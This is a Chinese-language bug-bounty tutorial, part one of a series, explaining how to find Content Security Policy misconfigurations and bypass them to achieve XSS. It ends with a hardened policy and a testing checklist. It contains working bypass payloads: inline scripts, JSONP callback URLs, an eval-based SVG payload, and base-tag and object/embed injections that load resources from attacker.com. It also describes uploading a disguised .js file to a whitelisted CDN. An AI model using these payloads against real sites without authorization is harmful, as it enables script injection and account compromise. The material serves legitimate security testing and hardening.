官网:http://securitytech.cc/
为什么那个“安全”头部可能漏洞百出,以及如何发现它们导致严重 XSS 漏洞。

你找到完美的 XSS 向量,精心构造了 payload,按下回车,结果……什么也没有。控制台闪烁红色错误信息:“拒绝执行内联脚本,因为它违反了以下内容安全策略(CSP)…”
游戏结束了吗?绝对不是。
对于漏洞猎人来说,这才是有趣的开始。错误信息不是一道墙——几乎像是一种邀请。CSP 只是浏览器遵循的一套规则。而规则?总有漏洞。
通常情况是:开发者加上一个基本 CSP,勾选安全审计的选项,然后安心地认为他们已经彻底阻止了 XSS。然而,我在实际项目中看到的大多数 CSP 就像潜水艇上的纱门一样不安全。
这是 CSP 绕过综合系列的第一部分。我们从基础开始——常见的错误配置和适用于 70–80% 漏洞悬赏项目 CSP 的基本技巧。这些都是低悬的果实,但仍然能获得高额奖励,因为许多开发者会犯错。
读完本指南,你将知道如何识别弱 CSP 配置,并将其转化为可利用的漏洞。
安全的幻象:为什么大多数 CSP 会失败
把 CSP 想象成夜店门口的保安。他的工作是检查 ID —— 确保只有获准的脚本、图片和样式表能进来。听起来不错,但问题是,大多数网站给保安的客人名单是世界上最糟糕的。
下面这些错误配置几乎等于告诉保安“通通放行”。
'unsafe-inline' 灾难
这是 CSP 错误的核选项。如果你在 script-src 指令中看到 'unsafe-inline',直接放弃——你已经赢了。它直接允许内联 <script> 块和事件处理函数(如 onclick)。基本上,它关闭了 CSP 应该做的核心功能。
弱策略:
Content-Security-Policy: script-src 'self' 'unsafe-inline';
绕过示例:
<script>
alert("CSP 绕过");
</script>
就这么简单。
实际影响: 我在从小型 SaaS 应用到大型电商平台都发现过这种错误配置。通常是开发者为了快速使内联脚本工作,选择了最简单的方式。我提交过一个相关漏洞,30 秒检查就获得了 2500 美元奖励。
过度信任的通配符(*)
信任整个域的策略随处可见。你会看到类似 script-src: *.google.com 或 *.cloudflare.com 的配置。想法是:“是 Google,能出什么问题呢?”
结果,问题很多。这会允许任意 Google 子域的脚本执行,例如:
- JSONP 接口:白名单域上的许多 API 有 JSONP 回调可被滥用执行任意 JavaScript。
-
- 老旧 AngularJS 库:在白名单域上找到易受攻击的 AngularJS 版本,就能突破沙箱。
-
- 文件上传:如果白名单域允许上传
.js文件,你就成功了。
- 文件上传:如果白名单域允许上传
快速示例:
策略: script-src 'self' *.google.com 绕过:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
这是因为 Google OAuth 接口有一个 JSONP 回调参数会反射输入。JSONP 利用将在第二部分深入讲解。
Press enter or click to view image in full size

浏览器控制台显示 CSP 错误,同时可见弱策略。CSP 头部中突出显示 'unsafe-inline' 或通配域。
别忘了 'unsafe-eval'
这个更狡猾。'unsafe-eval' 允许 eval()、setTimeout() 和 setInterval() 执行字符串参数。许多旧库需要它来兼容,所以开发者为了兼容性加入它。这样,你又有了另一条进攻路径。
示例:
策略: script-src 'self' 'unsafe-eval' 绕过:
<svg><animate onbegin=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))></svg>
base64 解码后为 alert(document.domain)。如果能注入 HTML 且策略包含 unsafe-eval,就可以执行代码。
我的 CSP 审计方法
面对 CSP,我不会放弃——我会系统化操作。每次我都会这么做:
第一步:仔细阅读策略
看似显而易见,但很多人忽略。看到 CSP 错误时,打开浏览器开发者工具。进入 Network 标签,点击文档请求,找到 Content-Security-Policy 头部。复制到文本编辑器。
查看每条指令,script-src、object-src 和 base-uri 都是主要攻击向量。
专业提示: 可使用 CSP Evaluator 快速发现明显问题,但不要止步——手动分析能发现有趣的绕过方法。
Press enter or click to view image in full size

Google 的 CSP Evaluator 工具截图,显示弱策略
第二步:寻找白名单宝藏
主要关注 script-src 指令。每个列出的域都是潜在的金矿。你的任务不是直接突破 CSP,而是让这些 可信域 服务你的恶意 JavaScript。
如果你发现 script-src: 'self' cdn.trusted-company.com,下一步就是针对 cdn.trusted-company.com:
- 查找可链式使用的 open redirect
-
- 查找 JSONP 回调接口
-
- 查找托管的旧版 JS 库
-
- 查找可反射输入的位置
我的搜索流程:
- 列出所有白名单域
-
- 检查 JSONP 接口(常见路径如
/api/、/jsonp、/callback)
- 检查 JSONP 接口(常见路径如
-
- 查找文件上传功能
-
- 搜索 open redirect
-
- 检查旧库版本(AngularJS <1.6, jQuery <3.0)
Press enter or click to view image in full size

CSP 绕过方法示意图
第三步:测试文件上传端点
经典且高效。如果应用允许从白名单域上传文件,CSP 会信任它。
流程:
- 找到文件上传功能
-
- 上传
.js文件 payload
- 上传
-
- 记录文件 URL
-
- 检查该域是否在
script-src白名单
- 检查该域是否在
-
- 注入
<script src="https://whitelisted-domain.com/uploads/your-file.js"></script>
- 注入
实际案例: 我曾发现一个应用的 script-src: 'self' cdn.example.com,CDN 实际是 S3 桶存储用户头像。我上传了伪装成图片的 JS 文件,得到直接 S3 URL 并加载为脚本。结果——$3,000 奖金。

文件上传界面示例,上传恶意 .js 文件
第四步:base-uri 漏洞
如果 CSP 缺失 base-uri 指令,你可以注入 <base> 标签重新定义页面相对路径的基址。
<script src="/js/app.js"></script>
注入:
<base href="https://attacker.com/" />
浏览器会尝试从你的域加载相对资源,绕过 script-src。
测试方法:
检查 CSP 是否缺失 base-uri 2. 找到 HTML 注入点 3. 注入 <base href="https://your-server.com/"> 4. 页面会从你域加载相对资源
Press enter or click to view image in full size

注入前后效果对比
第五步:缺失的 object-src 指令
如果 object-src 未定义,你可以嵌入加载外部内容的对象。Flash 已经过时,但在某些情况下仍有效。
绕过示例:
<object data="https://attacker.com/malicious.swf"></object>
PDF-based XSS:
<embed src="https://attacker.com/xss.pdf" />
常见 JSONP 接口测试
找到白名单域后,优先检查 JSONP 回调:
Google 域:
https://accounts.google.com/o/oauth2/revoke?callback=alert
https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert
其他常见 CDN:
https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js
测试流程:
- 替换回调参数为 payload
-
- 尝试不同参数:
callback=、jsonp=、cb=、function=
- 尝试不同参数:
-
- 检查函数是否执行
JSONP 利用将在第二部分详细讲解,包括如何发现隐藏接口和漏洞链。
Press enter or click to view image in full size

成功的 JSONP 绕过
从破坏到坚固:好的 CSP 长什么样
谈完绕过,再说怎么构建。好的 CSP 默认锁死所有内容,只开放必要部分。
弱 CSP(容易绕过):
Content-Security-Policy: script-src 'self' *.google.com 'unsafe-inline';
强 CSP(难绕过):
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'self'; require-trusted-types-for 'script';
为什么第二个更好?
default-src 'none'默认拒绝所有内容-
- 为特定内联脚本使用 nonce,消除
'unsafe-inline'
- 为特定内联脚本使用 nonce,消除
-
'strict-dynamic'允许受信脚本加载其他脚本,无需白名单
-
object-src 'none'阻止 object/embed 攻击
-
base-uri 'self'防止 base 标签劫持
-
require-trusted-types-for 'script'启用 Trusted Types(第三部分讲解)
注意: 即便是强 CSP,也可能通过 nonce 泄露、DOM 劫持和 mutation XSS 绕过 —— 这是第二、三部分的内容。

“弱 CSP vs 强 CSP”
CSP 测试清单
在离开目标前,检查:
-
script-src是否包含'unsafe-inline'? - - [ ]
script-src是否包含'unsafe-eval'? - - [ ] 是否存在通配符域?
- - [ ]
base-uri是否缺失或为*? - - [ ]
object-src是否缺失或为*? - - [ ] 是否有白名单 CDN 或第三方域?
- - [ ] 应用是否有文件上传功能?
- - [ ] 是否能在白名单域找到 JSONP 接口?
- - [ ] 是否有可反射的参数?
- - [ ] 策略是否使用 nonce?(是的话,保存目标用于第二部分!)
真实世界绕过示例
几个漏洞赏金项目的实战案例:
示例 1:电商平台
- 策略:
script-src 'self' 'unsafe-inline' *.cloudflare.com -
- 绕过:简单内联脚本
-
- 奖金:$2,500
示例 2:SaaS 应用
- 策略:
script-src 'self' cdn.example.com -
- 绕过:通过头像上传
.js文件到 CDN
- 绕过:通过头像上传
-
- 奖金:$3,000
示例 3:金融服务
- 策略:
script-src 'self' *.google.com(无base-uri) -
- 绕过:注入 base 标签重定向脚本
-
- 奖金:$5,000
示例 4:社交平台
- 策略:
script-src 'self' ajax.googleapis.com -
- 绕过:加载 AngularJS 1.5.8 沙箱逃逸 payload
-
- 奖金:$4,500
这些都是基础技巧,但仍然有效,也仍然有奖金。
CSP 是拼图,而非监狱
CSP 头并不意味着“没有 XSS”,而是“XSS 需要额外步骤”。
下次测试应用遇到 CSP 错误,不要关掉标签页。保持好奇,逐行阅读策略,检查我们提到的错误配置。多数情况下,你会找到突破方法。
这只是开始。第一部分涵盖了基础知识——绝大多数绕过问题的常见错误。
第二部分预告: 深入中级技巧,针对更严格策略:
- 高级 nonce 利用与泄露策略
-
- AngularJS 沙箱逃逸深入
-
- JSONP 接口发现与利用
-
- 悬空标记注入进行数据泄露
-
- Service Worker 滥用
-
- $10k+ 漏洞报告中的真实绕过链
第三部分预告: 研究级技巧:
- DOM 劫持绕过 CSP 检查
-
- Mutation XSS (mXSS) 绕过 sanitizer
-
- 原型污染导致 CSP 绕过
-
- 无脚本攻击与代码复用
-
- 浏览器特性与边缘案例
直到那时,祝你狩猎愉快。CSP 错误只是有趣旅程的开始。